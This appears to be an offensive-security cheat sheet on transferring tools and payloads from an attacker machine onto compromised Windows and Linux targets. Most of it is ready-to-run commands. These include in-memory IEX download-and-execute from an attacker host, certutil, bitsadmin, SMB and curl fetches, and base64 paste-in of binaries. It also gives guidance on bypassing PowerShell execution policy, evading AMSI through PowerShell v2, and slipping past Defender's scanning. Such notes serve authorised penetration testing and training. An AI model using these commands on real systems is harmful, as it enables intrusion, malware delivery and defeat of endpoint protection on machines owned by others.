File Transfer (Inbound)
Inbound transfers only (attack box → target). For outbound see Exfiltration.
Hosting Files (Attack Box)
python3 -m http.server 80
Confirm the port isn't firewalled from the target before assuming the tool or payload is broken.
Windows
Native Shell Upload
Goes over the shell's own channel — bypasses LOLBin signatures entirely. Best default whenever available.
upload <local-path> <remote-path> # evil-winrm
scp /path/to/file user@<target-ip>:/destination/ # SSH
In-Memory (IEX)
Execution Policy
The default policy on most machines (Restricted or RemoteSigned) blocks running a downloaded .ps1 from disk. Three ways to handle it:
Option 1 — Per-process flag (preferred)
Pass the flag directly on the powershell.exe call — applies only for that process lifetime, no registry change:
powershell -ExecutionPolicy Bypass -File .\adPEAS.ps1
Option 2 — Set policy for the current session
Run inside an existing PowerShell session before dot-sourcing or invoking a script:
Set-ExecutionPolicy Bypass -Scope Process -Force
-Scope Process resets when the session closes — no persistence, no noise.
Option 3 — IEX skips this entirely
Scripts loaded via IEX(New-Object Net.WebClient).DownloadString(...) never touch disk and are not subject to execution policy — no flag needed. See In-Memory section below.
Nothing touches disk, so on-write scanning has nothing to catch. Works for PowerShell-based tools only (winPEAS.ps1, PowerUp, etc.) — compiled .exe payloads still need to land on disk.
IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/script.ps1')
Evil-WinRM variable expansion: When passing a -Command string through Evil-WinRM into a child powershell.exe process, $variables get expanded by Evil-WinRM's shell first and arrive empty. Two fixes:
- Run commands line by line directly in the Evil-WinRM session (dot-source + variables in separate lines) — no child process, no issue
- Escape each
$with a backtick so Evil-WinRM passes them through literally:`$pass,`$cred, etc.
AMSI Bypass via PSv2
PowerShell v2 predates AMSI entirely. If PSv2 is installed, launch it explicitly:
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/script.ps1')"
Confirm PSv2 is installed first — if absent, it silently falls back to the current version:
reg query HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion
SMB Copy
Host a share on the attack box, copy from target:
# Attack box:
impacket-smbserver share . -smb2support
# Target:
copy \\<attacker-ip>\share\file.exe C:\Users\Public\file.exe
Needs SMB egress (port 445) from target outbound — not always available.
LOLBins (Last Resort)
Most heavily signatured — modern Defender often flags the download itself, not just the payload.
certutil -urlcache -split -f http://<attacker-ip>/file.exe C:\Users\Public\file.exe
bitsadmin /transfer job http://<attacker-ip>/file.exe C:\Users\Public\file.exe
iwr http://<attacker-ip>/file.exe -OutFile C:\Users\Public\file.exe
AV Troubleshooting
If the transfer succeeds but the file vanishes or won't run, Defender caught it on-write or on-execute — not a transfer method failure:
- Rename/change extension before transferring
- Switch to
.ps1+ IEX instead of.exe - Use PSv2 IEX to bypass AMSI if the script content is being flagged
- Fall back to manual enumeration — no tooling needed
winPEAS Build Notes
| Build | Notes |
|---|---|
.bat | Sensitive to CRLF corruption — transfer as binary only. The system cannot find the batch label specified on every line means the file is corrupted, re-transfer or switch builds. |
.ps1 | Quieter on signatures; pair with IEX+PSv2 for best AMSI evasion. |
.exe | Most heavily signatured, likely caught on-write by current Defender builds. |
Linux
wget / curl
wget http://<attacker-ip>/file -O /tmp/file
curl http://<attacker-ip>/file -o /tmp/file
SCP
scp /path/to/file user@<target-ip>:/tmp/file
Base64 Paste-In
No HTTP needed — useful when outbound egress is filtered:
# Attack box - encode:
base64 -w0 file.bin
# Target shell - decode:
echo '<base64-string>' | base64 -d > /tmp/file
chmod +x /tmp/file
Python Fallback
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<attacker-ip>/file', '/tmp/file')"